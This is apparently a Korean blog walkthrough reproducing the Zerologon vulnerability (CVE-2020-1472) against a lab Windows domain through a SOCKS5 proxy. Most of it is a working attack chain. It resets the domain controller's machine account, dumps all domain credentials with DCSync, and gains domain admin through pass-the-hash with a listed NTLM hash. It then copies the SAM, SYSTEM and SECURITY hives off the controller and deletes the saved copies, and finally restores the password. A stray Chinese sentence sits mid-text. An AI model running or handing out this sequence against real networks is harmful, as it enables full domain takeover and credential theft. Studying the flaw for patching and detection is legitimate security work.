
cve-2020-1472 재현·악용 및 해당 exp
mac 환경에서 proxychains 프록시를 통해 Windows 도메인 환경에서 이 취약점을 재현합니다.
DC(주 도메인 컨트롤러):

Domain User(도메인 구성원 호스트):
gost로 socks5 정방향 프록시를 직접 설정합니다.

Attack Hacker(공격 머신):
proxychains4 설정
vim /Users/xq17/.proxychains/proxychains.conf
PrxoyList 목록에 다음을 추가합니다
[ProxyList] socks5 10.211.55.42 8099
Attack Tools(공격 도구):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
실행 중 다음 오류가 발생하면:

impacket 모듈에 문제가 있는 것이니, impacket 모듈을 제거한 후 github에서 최신 버전을 설치해보세요.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
그러면 문제가 해결됩니다.
c# 버전 도구: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
먼저 로컬에서 도메인 컨트롤러 비밀번호를 이용해 도메인 머신 계정의 Hash를 내보내어, 수정된 후의 값과 비교할 수 있게 합니다.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
或者去掉双引号,但是要注意在linux下$代表是变量的意思记得转义。
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

zerologon_tester.py를 사용하여 취약점 존재 여부를 확인합니다
python3 zerologon_tester.py DC 10.211.55.38

Success가 반환되면 취약점이 존재함을 의미합니다.
cve-2020-1472-exploit.py를 사용하여 머신 계정을 재설정합니다.
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


도메인 컨트롤러의 머신 계정으로 DCSync를 사용해 도메인 내 모든 사용자 자격 증명을 내보낼 수 있습니다.
원리:
DRS(Directory Replication Service, 디렉터리 복제 서비스) 프로토콜을 이용해 IDL_DRSGetNCChanges를 통해 도메인 컨트롤러에서 사용자 자격 증명을 복제합니다.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

DC$ 머신 계정의 비밀번호 복구
다음을 통해
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
도메인 관리자의 hash를 획득합니다.


그런 다음 wmic와 pass the hash를 통해 도메인 컨트롤러의 로컬 관리자 권한(도메인 관리자)을 획득합니다.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
그런 다음 각각 실행하여 로컬 머신의 SAM 데이터베이스를 MAC으로 복사합니다.
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
단일 도메인 환경:
완벽하게 실행됩니다. 도메인 컨트롤러를 재부팅한 후에는 특별한 이상은 없지만, 도메인 구성원 머신의 DNS에 문제가 발생할 수 있으며 인증에는 영향을 주지 않습니다.

비밀번호 복구 후:

이중 도메인 환경, 주 도메인 DC 하나와 백업 도메인 컨트롤러 DC01 하나:

두 도메인 컨트롤러의 머신 Hash를 먼저 획득해 보면 두 값이 서로 다르다는 것을 알 수 있습니다.

보조 도메인을 공격해 보았지만 주 도메인에는 영향을 주지 않았으며, ntdis.dist 데이터도 동기화된 것을 확인했습니다.

주 도메인을 공격해 보면 net time /domain 역시 단일 도메인 환경과 마찬가지로 오류가 발생하지만, 비밀번호를 복구하면 곧바로 정상으로 돌아옵니다.
새로 생성한 계정은 바로 동기화됩니다.

비밀번호를 변경해도 동기화에는 영향이 없습니다.
개인적으로 현재 도메인 탈퇴 문제는 발견하지 못했습니다. 제 이 절차대로 한번 진행해 보시길 권장하며, 문제가 있으면 언제든 저와 논의해 주세요!

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
머신 계정의 평문 hex를 추출합니다.

마지막으로 다음을 실행합니다.
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

정보가 완전히 복구된 것을 확인할 수 있습니다.